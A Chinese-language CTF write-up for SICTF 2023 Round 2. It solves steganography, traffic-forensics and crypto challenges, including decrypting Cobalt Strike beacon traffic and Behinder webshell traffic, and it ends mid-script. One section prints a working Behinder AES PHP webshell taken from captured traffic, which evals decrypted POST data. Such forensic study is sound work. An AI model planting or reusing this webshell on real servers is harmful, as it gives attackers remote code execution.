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本文最后更新于 2023-09-10，文中内容可能已过时。
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misc
[签到]Welcome
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SICTF{Welcome_to_SICTF2023_#Round2}
Pixel_art
png lsb隐写了个 png
分出来
发现每个像素的rgb值只有 46 33 63 三种
发现是.!?的ASCII值
而且大部分的brainfuck的生成网站，在最前面都是………………
写脚本转换
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from PIL import Image
print("".join(["".join((lambda a:(map(lambda x:(chr(x)),a)))(Image.open('2.png').getpixel((y,x)))) for x,y in [i for i in __import__('itertools').product(range(Image.open('2.png').size[0]),range(Image.open('2.png').size[0]))]]))
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..................!?!!.?..................?.?!.?....!.?.......!?!!.?!!!!!!?.?!.?!!!.!!!!!!!!!!!!!.?.........!?!!.?........?.?!.?..!.?.......!?!!.?!!!!!!?.?!.?!!!!!!!!!!!.?...............!?!!.?..............?.?!.?........!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!!!!!...!.......!.!!!!!!!.?.............!?!!.?............?.?!.?........................!.....!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!!!!!!!.....!.!!!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..............!.!!!!!.?...............!?!!.?!!!!!!!!!!!!!!?.?!.?!!!.................!.?.......!?!!.?!!!!!!?.?!.?!!!!!!!...............!.?.............!?!!.?............?.?!.?......................!.....!.!.?...............!?!!.?!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?......!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!.!!!!!!!!!!!!!!!!!!!.............!.!!!!!!!!!!!!!!!!!!!...........!.!.............!.!!!!!!!!!!!!!!!!!...........!.?...............!?!!.?..............?.?!.?!.!!!!!.!!!!!.......!.!!!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!.!.?.................!?!!.?................?.?!.?............!.?.
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SICTF{0141ac35-ec19-4cee-a906-22805fdbed77}
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一起上号不
你为什么还不上号啊？宝
其实一看名字就能猜到CS流量
把最后一流的key.zip提取出来
可以知道这是java的序列化数据
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package org.example;
import java.io.*;
public class SerializationExample {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException {
FileInputStream fis = new FileInputStream("key");
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = (Object) ois.readObject();
ois.close();
System.out.println(obj.getClass());
System.out.println(obj.toString());
}
}
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class sleep.runtime.Scalar
java.security.KeyPair@604ed9f0
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还原看一下类名和方法
搜索可以知道是cs的Beacon key
用脚本解密得到Private Key
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package org.example;
import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;
class get_RSA
{
public static void main(String[] args)
{
try {
File file = new File("key");
if (file.exists()) {
KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file");
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys");
}
}
}
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Private Key: MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIzAss/1Vcd49UN5XT+pVELCnX1rTo4LhSzcP7sPOrIOQg0onSpKO1tzOVX+2DqtZsSFoFrAmrEV+gZCbFfhYR9vs5DGLUg9aa0i5GqhPz/s4v5wcmgUgfnvjh4oK7yPQ5BMcqESCjEim9MXs70by1U7ZN+wOYZEorInV9gPkCJdAgMBAAECgYAJbRpMjQyamEIsq6MQEWIAOpJbhOU05BaeI33tJB71L7lCslacL258OGI9nRyUCWrZfG15xm5Vr7gX1Tj2RbTAUZmGigY1X2rCyz00DFjj5iIQVWsl8eSI1EmjFmQ+rYnCezQcrt4V3c7BZtW9RjFWvHh09PF808Yl4/+++vrMoQJBAKhCa/adRGEFqiVcSZG2FdlUG4bPMfwRkYMERZG5D6fjVHOVNEyL3MK+EtafnYIDD1IS+97K0cbg922RKXNdv+kCQQDWJk0kNe8ePBpwJU4slig1Y+4VWuwTRz6r+MNpv+WrVMzo/LHzAKYn87pyAdxLaZyKAFKs86WpJ2n93ZslC9pVAkA0KMMHJCF6YiMoib9UqDmFsYkG9VvtZBTTpJNcZR3xUYtweSRJRmIdDIcSeVB+aSxqqO/jVMRK/po1IPbUiI9hAkEAi93wPFpNlv3CdsSmzlA0asqd0azUy7KYqFGNsB/5rXFxdCq3PvOJkkaJ27SDYW3VI/0aAoQQCu8HNxvqHMQlEQJBAIFIkfpeSfksLu8NgiFvZsTV8EWF9PfF2VLyqeSGtmySujqb0HbxGnM9SDc0k48wOvIn5YGJPyY2ddsyNI6XbCU=
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流量中的Cookie是对受控主机元数据的加密后的密文
由于M2Crypto装了半天都装不上，用Crypto库改了一个
将Private Key和流量中的Cookie填入得到flag
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import hashlib,base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
cookie = "U8jm3+oqzYLuUiRd9F3s7xVz7fGnHQYIKF9ch6GRseWfcBSSk+aGhWP3ZUyHIkwRo1/oDCcKV7LYAp022rCm9bC7niOgMlsvgLRolMKIz+Eq5hCyQ0QVScH8jDYsJsCyVw1iaTf5a7gHixIDrSbTp/GiPQIwcTNZBXIJrll540s="
privateKey = "MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIzAss/1Vcd49UN5XT+pVELCnX1rTo4LhSzcP7sPOrIOQg0onSpKO1tzOVX+2DqtZsSFoFrAmrEV+gZCbFfhYR9vs5DGLUg9aa0i5GqhPz/s4v5wcmgUgfnvjh4oK7yPQ5BMcqESCjEim9MXs70by1U7ZN+wOYZEorInV9gPkCJdAgMBAAECgYAJbRpMjQyamEIsq6MQEWIAOpJbhOU05BaeI33tJB71L7lCslacL258OGI9nRyUCWrZfG15xm5Vr7gX1Tj2RbTAUZmGigY1X2rCyz00DFjj5iIQVWsl8eSI1EmjFmQ+rYnCezQcrt4V3c7BZtW9RjFWvHh09PF808Yl4/+++vrMoQJBAKhCa/adRGEFqiVcSZG2FdlUG4bPMfwRkYMERZG5D6fjVHOVNEyL3MK+EtafnYIDD1IS+97K0cbg922RKXNdv+kCQQDWJk0kNe8ePBpwJU4slig1Y+4VWuwTRz6r+MNpv+WrVMzo/LHzAKYn87pyAdxLaZyKAFKs86WpJ2n93ZslC9pVAkA0KMMHJCF6YiMoib9UqDmFsYkG9VvtZBTTpJNcZR3xUYtweSRJRmIdDIcSeVB+aSxqqO/jVMRK/po1IPbUiI9hAkEAi93wPFpNlv3CdsSmzlA0asqd0azUy7KYqFGNsB/5rXFxdCq3PvOJkkaJ27SDYW3VI/0aAoQQCu8HNxvqHMQlEQJBAIFIkfpeSfksLu8NgiFvZsTV8EWF9PfF2VLyqeSGtmySujqb0HbxGnM9SDc0k48wOvIn5YGJPyY2ddsyNI6XbCU="
p_key = "-----BEGIN RSA PRIVATE KEY-----\n" + "".join([privateKey[i:i + 64]+"\n" for i in range(0, len(privateKey), 64)]) + "-----END RSA PRIVATE KEY-----\n"
private_key = RSA.import_key(p_key.encode())
cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(cookie), 0)
digest = hashlib.sha256(ciphertext[8:24]).digest()
aes_key = digest[0:16]
hmac_key = digest[16:]
print("AES key:{}".format(aes_key.hex()))
print("HMAC key:{}".format(hmac_key.hex()))
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得到AES key和HMAC key
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AES key:ef08974c0b06bd5127e04ceffe12597b
HMAC key:bd87fa356596a38ac3e3bb0b6c3496e9
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再解CS回传的命令
就是000000开头的请求包
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import hmac
import binascii
import base64
from Crypto.Cipher import AES
def compare_mac(mac, mac_verif):
if mac == mac_verif:
return True
if len(mac) != len(mac_verif):
print
"invalid MAC size"
return False
result = 0
for x, y in zip(mac, mac_verif):
result |= x ^ y
return result == 0
def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
print("message authentication failed")
return
cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
data = cypher.decrypt(encrypted_data)
return data
import binascii
#key源自Beacon_metadata_RSA_Decrypt.py
SHARED_KEY = binascii.unhexlify("ef08974c0b06bd5127e04ceffe12597b")
HMAC_KEY = binascii.unhexlify("bd87fa356596a38ac3e3bb0b6c3496e9")
encrypt_data= binascii.unhexlify(b'000000c093dff6b2f058ba4231e3900276566441f2bb4c76e5c8480874a4d99df083054a5ea1dd4aea5523c751af7d123ee8e9f2253a5ccdcf54427d147c556b15657ee2607e92b35732f26341bc0a26c58bf2bcf2383ad640641c364159387223360cc16ff3dc14ab1f00e6ee4fb53f5e15b767bd379451d0d7b6f4aeae9db0c3f30f3ef167b7db3e6ac241643ed2513e73f9e9148ebe7afaa122ea75e945c8ab8a816179e43180257bd8be752827dd0de26826d5611ee09391ee5545897dae1d3a9698')
encrypt_data_length=int.from_bytes(encrypt_data[0:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:len(encrypt_data)]
data1=encrypt_data_l[0:encrypt_data_length-16]
signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = bytes("abcdefghijklmnop",'utf-8')
dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)
print(dec)
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得到flag
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b'\x00\x00\x00\x04\x00\x00\x00\x9e\x00\x00\x00\x16\xff\xff\xff\xfeC:\\Users\\admin\\Desktop\\ctf\\*\nD\t0\t09/05/2023 22:16:12\t.\nD\t0\t09/05/2023 22:16:12\t..\nF\t0\t09/05/2023 22:15:11\tSICTF{88a39373-e204-43b6-b321-33ac8972fde9}\n]\xf6\x85L4\xdb\xf5]\x96\x8d'
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参考项目与文章(不分先后):
https://github.com/WBGlIl/CS_Decrypt
https://wkr.moe/ctf/610.html#Misc
https://www.jianshu.com/p/dc3683e2aa2c
https://blog.csdn.net/weixin_46081055/article/details/123413246
baby_zip
一眼丁真
bkcrack明文攻击
改密码后解压
flag在png文件尾
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SICTF{3a4998b8-345e-4943-a689-d01e8b08defb}
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还不上号
我不理解这题比上一题难在哪
为什么比上一题少三分之二的解
就多套了个冰蝎3的AES马
flag1所有流量都被冰蝎加密了
在flag2.pcapng的最后一流提取出一个key.zip
爆破出密码we1l
里面是0宽隐写的密钥，选
得到 cd52f1488563bf0e
我自己改的减少手工步骤的脚本
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from base64 import b64decode
from Crypto.Cipher import AES
import re
def aes_def(key,input_text):
if b"==" not in input_text:
input_text = input_text + b"=="
input_text = b64decode(input_text)
mode = AES.MODE_CBC
iv = b'\0' * 16
cryptos = AES.new(key, mode, iv)
plain_text = cryptos.decrypt(input_text).decode('utf-8', 'ignore')
return plain_text
key=b"cd52f1488563bf0e"
message = b'nCAiSfP9hoQwAkxddlCxnedDijOW/ISQ+M32T5f64bIkb5YbKc7tnkduvJUlQZWDR/UMpnabmx/huiF4oFVY5tKFVckzgi4ccMrTR205IDw='
decode_message = aes_def(key,message)
try:
message = b64decode(decode_message[27:len(message)-4])
print("请求包内容为:",re.findall(r"}\$cmd=\"(.*)\";",message.decode())[0])
except:
message = re.findall(r"\"msg\":\"(.*)\"",decode_message)
print("响应包内容为:",b64decode(message[0]).decode())
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TCP第五流得到前半段flag
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响应包内容为: SICTF{79e1755e-08a8-4d
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继续往后读，第6流
请求包内容为: base64 key
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响应包内容为: rO0ABXNyABRzbGVlcC5ydW50aW1lLlNjYWxhcryvNaxLcOBGAwADTAAFYXJyYXl0ABtMc2xlZXAv
cnVudGltZS9TY2FsYXJBcnJheTtMAARoYXNodAAaTHNsZWVwL3J1bnRpbWUvU2NhbGFySGFzaDtM
AAV2YWx1ZXQAGkxzbGVlcC9ydW50aW1lL1NjYWxhclR5cGU7eHBzcgAec2xlZXAuZW5naW5lLnR5
cGVzLk9iamVjdFZhbHVluXko22Ba54kCAAFMAAV2YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hw
c3IAFWphdmEuc2VjdXJpdHkuS2V5UGFpcpcDDDrSzRKTAgACTAAKcHJpdmF0ZUtleXQAGkxqYXZh
L3NlY3VyaXR5L1ByaXZhdGVLZXk7TAAJcHVibGljS2V5dAAZTGphdmEvc2VjdXJpdHkvUHVibGlj
S2V5O3hwc3IAFGphdmEuc2VjdXJpdHkuS2V5UmVwvflPs4iapUMCAARMAAlhbGdvcml0aG10ABJM
amF2YS9sYW5nL1N0cmluZztbAAdlbmNvZGVkdAACW0JMAAZmb3JtYXRxAH4ADUwABHR5cGV0ABtM
amF2YS9zZWN1cml0eS9LZXlSZXAkVHlwZTt4cHQAA1JTQXVyAAJbQqzzF/gGCFTgAgAAeHAAAAJ6
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAL0M6FR0Cb9dW52Nd5NTA1JUNAs1
thS8iXx6QB+UkN/vRJdfsKS8dnOfNuPuPDCtx26B2j8I1FuTJ1VrrfDkzN585sskmXYronFM98Dx
50vHaadOcDcDdBBqi8gC5/D3iKflX6T9pSL/5PVLfN1EIaFsyAS9jpWX2wGNi3C/QPSrAgMBAAEC
gYAdNhXeGtH4wkWqOhY8aurL+VvTUZjRanJ6C+/FkXCzUWbRVwVV5xMMeZEDNigRw4BZ2HGvJL+f
aMT+o3VMkCYBhGbi2/3RPRgigMG7Aa3LWWtYWsdbw8Mw6aqqbTjDUHrQ1kulMf1JvXJL5LBd+pBA
Q8kHaYJRMcmnLsT4NeXOFQJBAMNa2r+phrThTlagMB6bj6vl0IVbDy+TJT2VybCSJ76rPgVUQwtP
yX3z7UAjt27mE8KK+k7Jidi0drCEPv5Wo60CQQD3vQbO64fko1dlatkNn095GO9KoCuanrsLs+vY
Ohc0ltk4EhHHmP5hEE6dSMZNASKaN0wSYJ14xjnA+dJWOES3AkEApzyYF4vhLefTUIVBrHIvxFCw
+fjCP1AQiXA5gVcdfzTJm3ZPDtf2/kRbzpTE68M7F0gykFAoGcQj92i/JKy24QJAdyVbA+M07Ro9
qxHzJ+EJmMUMOMjFj8xtStiSQeDWTj2KZLQUBvmmxcnQ9UYN0PUNzjtwA5qhwXccSZoctcjECwJA
Zc0TZgGq/OwgnIyj/1+Q9D0A2eg3aw1k+6Vzkf/DdkuF6+XTkYTlBGiETIK/vm1rCH4NcOCL7eK5
qpA1grg+gnQABlBLQ1MjOH5yABlqYXZhLnNlY3VyaXR5LktleVJlcCRUeXBlAAAAAAAAAAASAAB4
cgAOamF2YS5sYW5nLkVudW0AAAAAAAAAABIAAHhwdAAHUFJJVkFURXNxAH4ADHEAfgARdXEAfgAS
AAAAojCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAvQzoVHQJv11bnY13k1MDUlQ0CzW2FLyJ
fHpAH5SQ3+9El1+wpLx2c5824+48MK3HboHaPwjUW5MnVWut8OTM3nzmyySZdiuicUz3wPHnS8dp
p05wNwN0EGqLyALn8PeIp+VfpP2lIv/k9Ut83UQhoWzIBL2OlZfbAY2LcL9A9KsCAwEAAXQABVgu
NTA5fnEAfgAVdAAGUFVCTElDcHB4
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解码可知是cs的Beacon key
剩下的步骤和上面 一起上号不 差不多，不细写了
所用脚本在上面可以找到
用get_RES解得private key
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Private Key: MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAL0M6FR0Cb9dW52Nd5NTA1JUNAs1thS8iXx6QB+UkN/vRJdfsKS8dnOfNuPuPDCtx26B2j8I1FuTJ1VrrfDkzN585sskmXYronFM98Dx50vHaadOcDcDdBBqi8gC5/D3iKflX6T9pSL/5PVLfN1EIaFsyAS9jpWX2wGNi3C/QPSrAgMBAAECgYAdNhXeGtH4wkWqOhY8aurL+VvTUZjRanJ6C+/FkXCzUWbRVwVV5xMMeZEDNigRw4BZ2HGvJL+faMT+o3VMkCYBhGbi2/3RPRgigMG7Aa3LWWtYWsdbw8Mw6aqqbTjDUHrQ1kulMf1JvXJL5LBd+pBAQ8kHaYJRMcmnLsT4NeXOFQJBAMNa2r+phrThTlagMB6bj6vl0IVbDy+TJT2VybCSJ76rPgVUQwtPyX3z7UAjt27mE8KK+k7Jidi0drCEPv5Wo60CQQD3vQbO64fko1dlatkNn095GO9KoCuanrsLs+vYOhc0ltk4EhHHmP5hEE6dSMZNASKaN0wSYJ14xjnA+dJWOES3AkEApzyYF4vhLefTUIVBrHIvxFCw+fjCP1AQiXA5gVcdfzTJm3ZPDtf2/kRbzpTE68M7F0gykFAoGcQj92i/JKy24QJAdyVbA+M07Ro9qxHzJ+EJmMUMOMjFj8xtStiSQeDWTj2KZLQUBvmmxcnQ9UYN0PUNzjtwA5qhwXccSZoctcjECwJAZc0TZgGq/OwgnIyj/1+Q9D0A2eg3aw1k+6Vzkf/DdkuF6+XTkYTlBGiETIK/vm1rCH4NcOCL7eK5qpA1grg+gg==
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再加上cookie解得aeskey和 HMAC
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AES key:2f793b0251bb6c09bda982cb159cd611
HMAC key:e5695e8bf533009cd4a3c950d447b032
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再解CS回传的命令
就是000000开头的请求包
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import hmac
import binascii
import base64
from Crypto.Cipher import AES
def compare_mac(mac, mac_verif):
if mac == mac_verif:
return True
if len(mac) != len(mac_verif):
print
"invalid MAC size"
return False
result = 0
for x, y in zip(mac, mac_verif):
result |= x ^ y
return result == 0
def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
print("message authentication failed")
return
cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
data = cypher.decrypt(encrypted_data)
return data
import binascii
#key源自Beacon_metadata_RSA_Decrypt.py
SHARED_KEY = binascii.unhexlify("2f793b0251bb6c09bda982cb159cd611")
HMAC_KEY = binascii.unhexlify("e5695e8bf533009cd4a3c950d447b032")
encrypt_data= binascii.unhexlify(b'000000c0d475b38ca60c7034f1bd9c09e60aaf22b750a24ad06da72a5fecbf1777b03d96be4b4058bd614b482f75f5cfed798ba427770a060744cbe1f5b586aca5bfd8035b581404629d4bbfe888b2e0692ddc5a9d336a0043a7adeffbd492bc8542ae277da563cf08b03c201458ef1f49779700cec20b57b4e7ba9a1c6f86ec542bca2eaeffec8a2d8a1a230e69ca9a448d9b3ad3817046a5d34fdb063f3915c13e5ba3e69866c5d10f41bd4bd09834fd0be2761f5d9266ac3001b146549c27b640eaed')
encrypt_data_length=int.from_bytes(encrypt_data[0:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:len(encrypt_data)]
data1=encrypt_data_l[0:encrypt_data_length-16]
signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = bytes("abcdefghijklmnop",'utf-8')
dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)
print(dec)
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b'\x00\x00\x00\x06\x00\x00\x00\x9b\x00\x00\x00\x16\xff\xff\xff\xfeC:\\Users\\admin\\Desktop\\ctf\\*\nD\t0\t09/06/2023 15:54:25\t.\nD\t0\t09/06/2023 15:54:25\t..\nF\t0\t09/06/2023 15:52:58\tGNSC2OJTHA2S2NDDGA2TIMJVGQ4TSOJVPU======\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\xcc\x00'
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得到后半段flag
拼起来为
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SICTF{79e1755e-08a8-4d3d-9385-4c0541549995}
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Easy_Shark
第0流
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<?php
@error_reporting(0);
session_start();
$key="2295d22e2d70888f";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
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冰蝎3 AES马
key是2295d22e2d70888f
我自己改的减少手工步骤的python解密代码
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from base64 import b64decode
from Crypto.Cipher import AES
import re
def aes_def(key,input_text):
if b"==" not in input_text:
input_text = input_text + b"=="
input_text = b64decode(input_text)
mode = AES.MODE_CBC
iv = b'\0' * 16
cryptos = AES.new(key, mode, iv)
plain_text = cryptos.decrypt(input_text).decode('utf-8', 'ignore')
return plain_text
key=b"2295d22e2d70888f"
message = b'w5lcFkJ5g/LtCqI0NgGN0nr2fGo9r1/AzKUMpzC878IK1gm9qzdfmM4YGRo44amUoDHidZiOWLXcHB49KzZNCehPdof1RJQl1H3E+DDhqkc='
decode_message = aes_def(key,message)
try:
message = b64decode(decode_message[27:len(message)-4])
print("请求包内容为:",re.findall(r"}\$cmd=\"(.*)\";",message.decode())[0])
except:
message = re.findall(r"\"msg\":\"(.*)\"",decode_message)
print("响应包内容为:",b64decode(message[0]).decode())
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tcp第三流 请求包内容为cat flag.txt
响应包内容为
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TGLBOMSJNSRAJAZDEZXGHSJNZWHG
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第5流的第二个
Gron指的是Gronsfeld
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SICTF{SHUMUISAGOODBOYYYYYYYYY}
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fast_morse
morse2ascii一把梭
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SICTF{f2a09bf-7f4a-4269-93a5-c8a48360b03c}
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QR_QR_QR
用cv2库扫二维码，比zxing和pyzbar扫描快多了
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from pwn import *
from PIL import Image
import math
import cv2
p = remote('210.44.151.51','10289')
context.log_level = 'debug'
print('cv2.__version__:',cv2.__version__)
def scan_qr():
qr = p.recvuntil(b'Please Decrypt this QR code:',timeout=500)
qr = qr.decode().replace('\n','')
string_01 = qr
sqrt_len = int(math.sqrt(len(string_01)))
width, height = sqrt_len,sqrt_len
im = Image.new('RGB',(height,width))
for x in range(height):
for y in range(width):
value = string_01[width * x + y]
if value == "1":
im.putpixel((x,y),(255,255,255))
else:
im.putpixel((x,y),(0,0,0))
im.save('QRcode.png')
img_path = 'QRcode.png'
image = cv2.imread(img_path)
detect_obj = cv2.wechat_qrcode_WeChatQRCode()
img = cv2.imread('QRcode.png')
res,points = detect_obj.detectAndDecode(img)
print(res[0])
p.sendline(res[0].encode())
print(p.recvline())
x = 0
while True:
scan_qr()
x += 1
print(x)
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超快速
200s内解决1000轮战斗
问卷调查
填问卷
crypto
[签到]古典大杂烩
先解base100
然后cyberchef
Radio
低指数广播攻击，CRT归并
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import libnum
from gmpy2 import invert, gcd, iroot
def op(x):
res = 1
for i in x:
res *= i
return res
def CRT(m, a):
assert (len(m) == len(a))
M = op(m)
sum = 0
for m, a in zip(m, a):
Mi = M // m
ti = invert(Mi, m)
sum += a * ti * Mi
return sum % M
def GCRT(m, a):
assert (len(m) == len(a))
curm, cura = m[0], a[0]
for m, a in zip(m[1:], a[1:]):
d = gcd(curm, m)
c = a - cura
assert (c % d == 0)
K = c // d * invert(curm // d, m // d)
cura += curm * K
curm = curm * m // d
return cura % curm
e= 17
n=[14628911682936716611458501697007036859460044243525290515096052103585430459755335375005202100114469571371360084664887335211277585652711111523095037589648375630146039444071400098427638768750755153219974194380355807078158427824557754939604018020265955042573660474772006646525311705184431094905718137297923127124517126579859336516891364853724635334011666814712424599592662398013241607855160919361308195967978220182785816761656927836373944699635667244275310680450562446433724968942835275279255823144471582249379035668825437133182865600026935116686574740844588839352146024513673500770611055698030333734066230166111140083923,16756694748293603983474688536179571665757862433174984877308316444468003022266277794769268134195205510197588585566270416339902269736376811449830775290335951504698137924773942880807921752691668522662285163130340474205633998154849689387759453003838730282756734975490180702422176361373516245372635401939755527017589503572550811648345570775428936487145892225736625411540461653083957762795820510109891180906709827194217045059033312564525916136573856999724346161896146703174418039344166251503310869772735585554127509732135494936119159784702673291794381095696332128950979288440758815310482211285712819274848744478643590996499,12023158079717019193506148537498877243668782424904061914991928068483879707115315968983829360560644394409575645736275352836086080024994045582242629571839276759393418303915955798990522990081795218822313146157773272844272865701134880180795342597049645358985187689813369428579614193015028249821853347208001645148169449968882591709833452960545988520048722323580338213590245476892223967673180144525106292453573842357322398199104132677638909964034937501684668442732786408572501007756270725934445316827054687741612177409932320532825182104820899546084015733164816993674100635828218335112393003462442685677115798304835391938681]
c=[786426913645332991929803636719878643130489430090701482974255190570111407517277263761161970232982615374753982050075781017755721714929721429185828101898786972242994012456972241276851428750970754773002966788642795040933520662931514953660571657013642671173456750800960592586345219252277575624120271330470724245201080094330964145796872211627254805407394764183615099525852600855622089361965086460279057625205099471122036599934609091062009161119885692567925924978687256063116915630947838112126347748759078024890458539541208153526564434483654508834147071166870006117573542198238493913144419569943131642262575848786399020602,14269311999815379511888097227418748728398011595172649708273598243317106830139061994801598925448165045032084910971094414749744701731066555194159863759072739031915833091715422787808666326235589236328864675164322734119047182014621724868200908222400504845559290620275973427127376594365043386362821355037781568524903149101953873768462097165128186788759111090267131443645126715520994688945363059795513931799317608292977574376954729552861360597103229877031117089231816770880909815561950691603994439997197261395452797893557057320175747162837857668062550646101714062365530246698404923128445182100334335447738834779014705114350,3204718091370324153305164801961074660508922478706979436653573192321723216725523523538914956544950802616295043619768261075799875855502834749045520466140056621489305006966280527055668378303630674311102581232313032585389907028715671091914904062961720585667564982641321454541632782484415075257140508738041786400512095949826279576159569786734978545737717138115729502475357594151593143140355121154223614868465202149338507796306863351134218879326031985027900678671697876083351974546516576983143592764763925335805465720148057651958521255276602933604064541840892578409973858867533575728482926007556060584654853884046046420855]
m = CRT(n, c)
m1 = iroot(m, e)
print(m1)
print(libnum.n2s(int(m1[0])))
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MingTianPao
我出的题() 贴一下出题人WP
这个题目名充分表现了作者由于学CTF导致吃不上饭
明天就打算跑路的心里想法
深刻的表现出了学密码死路一条残酷现实
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import binascii
from Crypto.Util.strxor import strxor
from secret import flag, message
# message is a Classic English Story
for i in range(10):
tmp = (message[i*30:(i+1)*30].encode())
print(binascii.hexlify(strxor(tmp,flag)).decode())
# 1f2037202a1e6d06353b61263d050a0538493b3018544e14171d2b1c4218
# 3769373b66142f31297f291126410e042b01162d59103a0c005221075013
# 37242c202e1e3f743c36371130410c1e2b491a31574406014505291a550e
# 7f6922742e1a213270372e01264105193004532b1f554e120c1e2a145618
# 7d69143c23156d18392b35183141310e3b49213613590003453a291a555d
# 36273731341e297424372454230e0c0f2c49127f005f020245112718545d
# 26396320295b2531227161273c04430f360d533118444e0f0b1d31554615
# 323d6335660c24373b3a2554350f0a063e05533712101905165e66145f19
# 733e222766152220703e27063508074b300f53371e5d40444735291a555d
# 37283a7432146d2d3f2a6d541808171f330c530d12544e360c162f1b565d
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可以看出是多次异或使用了同一个key
这种加密方式就是多次一密 Many Time Pad(MTP)
但是由于异或的可逆性和自反性
MTP攻击通过联系多段明文，进行推断
进而得到明文，反推出密钥
具体解法可以参考这篇文章
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https://www.ruanx.net/many-time-pad/
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套用脚本
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from Crypto.Util.strxor import strxor
import numpy as np
import binascii
def isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False
def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(' ')
def know(index, pos, ch):
msg[index, pos] = ord(ch)
for x in range(len(c)):
if x != index:
msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(ch)
dat = []
def getSpace():
for index, x in enumerate(c):
res = [strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))
message = """05242b75362c263337613c3513064b3e07177f365c070700522110451114
3f3821751a2374312d260139040d1f7f08113002444e25091b251016425d
2325293d0f6d203f7f2b1b3d0f431f370c532b12514e140400320c1f1129
392920750f2531701220107429021f2b0c017f1a51050116520719585218
71293830156d393f2d245432141102301c007f15494e10001e2a1c5f565d
39293c75082531703124113012430a7f01123605531b104b520913115212
243e3d305b0c38393c2454300400073e1b162c574406051152321a115318
713e3b311e6174322a35542009064b1208177f3f511a10000066145f420a
343e3d75132826702828003c41024b2d00173b1b555446321a3f5558425d
306c3c340d283a7033281f3141024b281b1a2b1e5e09440117351e0e135d""".split()
c = [binascii.unhexlify(x.encode()) for x in message]
msg = np.zeros([len(c), len(c[0])], dtype=int)
getSpace()
dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)
print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
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得到
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Little Red,Rdin+ Hood ppomi4e
d to obey de mo8her. Thg gr&n
dmother liz ou8 in the"woo#s
, a half hcu fr#m the vklla e
. When Litxl Re( Riding"Hoo#
entered thi od? a wolf"cam"
up to her.,Se d%d not klow 0h
nim-l he waq, a)d
id #f him. Goo#
day to you itt e Red Rkdin
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然后根据上下文推断
第一行第24个是r 第28个是s
即单词promise
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def know(index, pos, ch):
msg[index, pos] = ord(ch)
for x in range(len(c)):
if x != index:
msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(ch)
know(0,24,'r')
know(0,28,'s')
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再看结果
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Little Red,Rdin+ Hood promise
d to obey de mo8her. The gran
dmother liz ou8 in the woods
, a half hcu fr#m the village
. When Litxl Re( Riding Hood
entered thi od? a wolf came
up to her.,Se d%d not know wh
nim-l he was, and
id #f him. "Good
day to you itt e Red Riding
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继续推断
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know(1,16,'t')
know(9,12,'L')
know(8,10,'f')
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所有语句完整了
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Little Red Riding Hood promise
d to obey her mother. The gran
dmother lived out in the woods
, a half hour from the village
. When Little Red Riding Hood
entered the woods a wolf came
up to her. She did not know wh
at a wicked animal he was, and
was not afraid of him. "Good
day to you, Little Red Riding
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求key即可
完整exp
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from Crypto.Util.strxor import strxor
import numpy as np
import binascii
def isChr(x):
if ord('a') <= x and x <= ord('z'): return True
